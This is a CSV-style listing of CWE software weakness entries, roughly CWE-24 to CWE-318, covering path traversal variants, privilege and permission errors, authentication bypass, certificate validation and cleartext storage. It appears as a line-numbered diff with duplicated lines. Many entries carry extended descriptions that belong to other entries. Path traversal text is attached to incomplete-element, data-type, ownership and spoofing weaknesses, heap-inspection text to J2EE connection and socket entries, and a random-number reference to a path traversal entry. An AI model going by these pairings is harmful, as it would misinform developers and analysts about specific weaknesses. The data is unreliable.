985 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
985 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
986986 CWE-239,Failure to Handle Incomplete Element (Type: Variant),"The software does not properly handle when a particular element is not completely specified.
987 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
987 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,
988988 CWE-24,Path Traversal: ../filedir (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize ""../"" sequences that can resolve to a location that is outside of that directory.
989989 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
990 The ""../"" manipulation is the canonical manipulation for operating systems that use ""/"" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which ""/"" is supported but not the primary separator, such as Windows, which uses ""\"" but can also accept ""/"".",,unclassified,
990 The ""../"" manipulation is the canonical manipulation for operating systems that use ""/"" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which ""/"" is supported but not the primary separator, such as Windows, which uses ""\"" but can also accept ""/"".",,unclassified,
991991 CWE-240,Improper Handling of Inconsistent Structural Elements (Type: Variant),"The software does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.
992992 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
993 The ""../"" manipulation is the canonical manipulation for operating systems that use ""/"" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which ""/"" is supported but not the primary separator, such as Windows, which uses ""\"" but can also accept ""/"".",,unclassified,
993 The ""../"" manipulation is the canonical manipulation for operating systems that use ""/"" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which ""/"" is supported but not the primary separator, such as Windows, which uses ""\"" but can also accept ""/"".",,unclassified,
994994 CWE-241,Improper Handling of Unexpected Data Type (Type: Base),"The software does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z).
995995 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
996 The ""../"" manipulation is the canonical manipulation for operating systems that use ""/"" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which ""/"" is supported but not the primary separator, such as Windows, which uses ""\"" but can also accept ""/"".",,unclassified,
996 The ""../"" manipulation is the canonical manipulation for operating systems that use ""/"" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which ""/"" is supported but not the primary separator, such as Windows, which uses ""\"" but can also accept ""/"".",,unclassified,
997997 CWE-244,Improper Clearing of Heap Memory Before Release (Heap Inspection) (Type: Variant),"Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.
998 When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a ""heap inspection"" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.",,unclassified,
998 When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a ""heap inspection"" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.",,unclassified,
999999 CWE-245,J2EE Bad Practices: Direct Management of Connections (Type: Variant),"The J2EE application directly manages connections, instead of using the container's connection management facilities.
1000 When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a ""heap inspection"" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.",,unclassified,
1000 When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a ""heap inspection"" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.",,unclassified,
10011001 CWE-246,J2EE Bad Practices: Direct Use of Sockets (Type: Variant),"The J2EE application directly uses sockets instead of using framework method calls.
1002 When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a ""heap inspection"" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.",,unclassified,
1002 When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a ""heap inspection"" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.",,unclassified,
10031003 CWE-247,DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision (Type: Base),"This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.
1004 When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a ""heap inspection"" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.",,unclassified,
1004 When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a ""heap inspection"" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.",,unclassified,
10051005 CWE-248,Uncaught Exception (Type: Base),"An exception is thrown from a function, but it is not caught.
1006 When an exception is not caught, it may cause the program to crash or expose sensitive information.",,unclassified,
1006 When an exception is not caught, it may cause the program to crash or expose sensitive information.",,unclassified,
10071007 CWE-249,DEPRECATED: Often Misused: Path Manipulation (Type: Variant),"This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to CWE-785.
1008 When an exception is not caught, it may cause the program to crash or expose sensitive information.",,unclassified,
1008 When an exception is not caught, it may cause the program to crash or expose sensitive information.",,unclassified,
10091009 CWE-25,Path Traversal: /../filedir (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize ""/../"" sequences that can resolve to a location that is outside of that directory.
10101010 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1011 Sometimes a program checks for ""../"" at the beginning of the input, so a ""/../"" can bypass that check.",,unclassified,
1011 Sometimes a program checks for ""../"" at the beginning of the input, so a ""/../"" can bypass that check.",,unclassified,
10121012 CWE-26,Path Traversal: /dir/../filename (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize ""/dir/../filename"" sequences that can resolve to a location that is outside of that directory.
10131013 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1014 The '/dir/../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for ""../"" at the beginning of the input, so a ""/../"" can bypass that check.",,unclassified,
1014 The '/dir/../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for ""../"" at the beginning of the input, so a ""/../"" can bypass that check.",,unclassified,
10151015 CWE-260,Password in Configuration File (Type: Variant),"The software stores a password in a configuration file that might be accessible to actors who do not know the password.
1016 This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.",,unclassified,Building Secure Software: How to Avoid Security Problems the Right Way
1016 This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.",,unclassified,Building Secure Software: How to Avoid Security Problems the Right Way
10171017 CWE-261,Weak Cryptography for Passwords (Type: Variant),"Obscuring a password with a trivial encoding does not protect the password.
10181018 This can result in compromise of the system for which the password is used. An attacker could gain access to this file and learn the stored password or worse yet, change the password to one of their choosing.",,unclassified,"Building Secure Software: How to Avoid Security Problems the Right Way
1019 24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
1019 24 Deadly Sins of Software Security: ""Sin 19: Use of Weak Password-Based Systems."" Page 279"
10201020 CWE-266,Incorrect Privilege Assignment (Type: Base),"A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
1021 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,unclassified,Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
1021 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,unclassified,Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
10221022 CWE-267,Privilege Defined With Unsafe Actions (Type: Base),"A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.
1023 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,unclassified,Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
1023 Just as neglecting to include functionality for the management of password aging is dangerous, so is allowing password aging to continue unchecked. Passwords must be given a maximum life span, after which a user is required to update with a new and different password.",,unclassified,Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
10241024 CWE-27,Path Traversal: dir/../../filename (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal ""../"" sequences that can resolve to a location that is outside of that directory.
10251025 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1026 The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one ""../"" sequence, so multiple ""../"" can bypass that check. Alternately, this manipulation could be used to bypass a check for ""../"" at the beginning of the pathname, moving up more than one directory level.",,unclassified,
1026 The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one ""../"" sequence, so multiple ""../"" can bypass that check. Alternately, this manipulation could be used to bypass a check for ""../"" at the beginning of the pathname, moving up more than one directory level.",,unclassified,
10271027 CWE-270,Privilege Context Switching Error (Type: Base),"The software does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.
10281028 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
10291029 The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one ""../"" sequence, so multiple ""../"" can bypass that check. Alternately, this manipulation could be used to bypass a check for ""../"" at the beginning of the pathname, moving up more than one directory level.",,unclassified,"Writing Secure Code: Chapter 7, ""Running with Least Privilege"" Page 207
1030 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
1030 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html"
10311031 CWE-272,Least Privilege Violation (Type: Base),"The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.
1032 In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.",,unclassified,
1032 In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.",,unclassified,
10331033 CWE-274,Improper Handling of Insufficient Privileges (Type: Base),"The software does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.
1034 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,unclassified,
1034 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,unclassified,
10351035 CWE-277,Insecure Inherited Permissions (Type: Variant),"A product defines a set of insecure permissions that are inherited by objects that are created by the program.
1036 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,unclassified,
1036 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,unclassified,
10371037 CWE-278,Insecure Preserved Inherited Permissions (Type: Variant),"A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.
1038 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,unclassified,
1038 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,unclassified,
10391039 CWE-279,Incorrect Execution-Assigned Permissions (Type: Variant),"While it is executing, the software sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.
1040 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,unclassified,
1040 If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.",,unclassified,
10411041 CWE-28,Path Traversal: ..\filedir (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize ""..\"" sequences that can resolve to a location that is outside of that directory.
10421042 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1043 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
1043 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
10441044 CWE-280,Improper Handling of Insufficient Permissions or Privileges (Type: Base),"The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.
10451045 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1046 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
1046 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
10471047 CWE-281,Improper Preservation of Permissions (Type: Base),"The software does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.
10481048 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1049 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
1049 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
10501050 CWE-282,Improper Ownership Management (Type: Class),"The software assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.
10511051 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1052 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
1052 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
10531053 CWE-283,Unverified Ownership (Type: Base),"The software does not properly verify that a critical resource is owned by the proper entity.
10541054 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1055 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
1055 The '..\' manipulation is the canonical manipulation for operating systems that use ""\"" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
10561056 CWE-284,Improper Access Control (Type: Class),"The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
10571057 Access control involves the use of several protection mechanisms such as authentication (proving the identity of an actor) authorization (ensuring that a given actor can access a resource), and accountability (tracking of activities that were performed). When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.
10581058 There are two distinct behaviors that can introduce access control weaknesses:
10591059 Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
10601060 Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.",,unclassified,"Writing Secure Code: Chapter 6, ""Determining Appropriate Access Control"" Page 171
1061 24 Deadly Sins of Software Security: ""Sin 17: Failure to Protect Stored Data."" Page 253"
1061 24 Deadly Sins of Software Security: ""Sin 17: Failure to Protect Stored Data."" Page 253"
10621062 CWE-286,Incorrect User Management (Type: Class),"The software does not properly manage a user within its environment.
1063 Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.",,unclassified,
1063 Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.",,unclassified,
10641064 CWE-288,Authentication Bypass Using an Alternate Path or Channel (Type: Base),"A product requires authentication, but the product has an alternate path or channel that does not require authentication.
1065 Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.",,unclassified,
1065 Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.",,unclassified,
10661066 CWE-289,Authentication Bypass by Alternate Name (Type: Variant),"The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
1067 Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.",,unclassified,
1067 Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.",,unclassified,
10681068 CWE-29,Path Traversal: \..\filename (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.
10691069 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1070 This is similar to CWE-25, except using ""\"" instead of ""/"". Sometimes a program checks for ""..\"" at the beginning of the input, so a ""\..\"" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
1070 This is similar to CWE-25, except using ""\"" instead of ""/"". Sometimes a program checks for ""..\"" at the beginning of the input, so a ""\..\"" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,
10711071 CWE-290,Authentication Bypass by Spoofing (Type: Base),"This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.
10721072 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1073 This is similar to CWE-25, except using ""\"" instead of ""/"". Sometimes a program checks for ""..\"" at the beginning of the input, so a ""\..\"" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,"The Art of Software Security Assessment: Chapter 3, ""Spoofing and Identification"", Page 72."
1073 This is similar to CWE-25, except using ""\"" instead of ""/"". Sometimes a program checks for ""..\"" at the beginning of the input, so a ""\..\"" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the ""/"" separator is valid.",,unclassified,"The Art of Software Security Assessment: Chapter 3, ""Spoofing and Identification"", Page 72."
10741074 CWE-295,Improper Certificate Validation (Type: Base),"The software does not validate, or incorrectly validates, a certificate.
10751075 When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by using a man-in-the-middle (MITM) attack. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.",,unclassified,"Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security: http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf
1076 Computer Security: Art and Science"
1076 Computer Security: Art and Science"
10771077 CWE-30,Path Traversal: \dir\..\filename (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.
10781078 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1079 This is similar to CWE-26, except using ""\"" instead of ""/"". The '\dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for ""..\"" at the beginning of the input, so a ""\..\"" can bypass that check.",,unclassified,
1079 This is similar to CWE-26, except using ""\"" instead of ""/"". The '\dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for ""..\"" at the beginning of the input, so a ""\..\"" can bypass that check.",,unclassified,
10801080 CWE-300,Channel Accessible by Non-Endpoint (Man-in-the-Middle) (Type: Class),"The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.
1081 In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.",,unclassified,Computer Security: Art and Science
1081 In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.",,unclassified,Computer Security: Art and Science
10821082 CWE-302,Authentication Bypass by Assumed-Immutable Data (Type: Variant),"The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.
1083 A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.",,unclassified,
1083 A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.",,unclassified,
10841084 CWE-303,Incorrect Implementation of Authentication Algorithm (Type: Base),"The requirements for the software dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.
1085 This incorrect implementation may allow authentication to be bypassed.",,unclassified,
1085 This incorrect implementation may allow authentication to be bypassed.",,unclassified,
10861086 CWE-304,Missing Critical Step in Authentication (Type: Base),"The software implements an authentication technique, but it skips a step that weakens the technique.
1087 Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.",,unclassified,
1087 Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.",,unclassified,
10881088 CWE-305,Authentication Bypass by Primary Weakness (Type: Base),"The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.
1089 Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.",,unclassified,
1089 Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.",,unclassified,
10901090 CWE-307,Improper Restriction of Excessive Authentication Attempts (Type: Base),"The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks.
10911091 Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.",,unclassified,"Weak Password Brings 'Happiness' to Twitter Hacker: http://www.wired.com/threatlevel/2009/01/professed-twitt/
1092 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
1092 OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI"
10931093 CWE-31,Path Traversal: dir\..\..\filename (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.
10941094 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1095 The 'dir\..\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one ""..\"" sequence, so multiple ""..\"" can bypass that check. Alternately, this manipulation could be used to bypass a check for ""..\"" at the beginning of the pathname, moving up more than one directory level.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
1095 The 'dir\..\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one ""..\"" sequence, so multiple ""..\"" can bypass that check. Alternately, this manipulation could be used to bypass a check for ""..\"" at the beginning of the pathname, moving up more than one directory level.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
10961096 CWE-312,Cleartext Storage of Sensitive Information (Type: Base),"The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
10971097 Because the information is stored in cleartext, attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,"Writing Secure Code: Chapter 9, ""Protecting Secret Data"" Page 299
10981098 The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Encryption"", Page 43.
1099 Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/"
1099 Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/"
11001100 CWE-313,Cleartext Storage in a File or on Disk (Type: Variant),"The application stores sensitive information in cleartext in a file, or on disk.
1101 The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
1101 The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
11021102 CWE-314,Cleartext Storage in the Registry (Type: Variant),"The application stores sensitive information in cleartext in the registry.
1103 Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
1103 Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
11041104 CWE-315,Cleartext Storage of Sensitive Information in a Cookie (Type: Variant),"The application stores sensitive information in cleartext in a cookie.
1105 Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
1105 Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
11061106 CWE-316,Cleartext Storage of Sensitive Information in Memory (Type: Variant),"The application stores sensitive information in cleartext in memory.
11071107 The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it.
1108 It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.",,unclassified,
1108 It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.",,unclassified,
11091109 CWE-317,Cleartext Storage of Sensitive Information in GUI (Type: Variant),"The application stores sensitive information in cleartext within the GUI.
1110 An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
1110 An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
11111111 CWE-318,Cleartext Storage of Sensitive Information in Executable (Type: Variant),"The application stores sensitive information in cleartext in an executable.
1112 Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
1112 Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.",,unclassified,
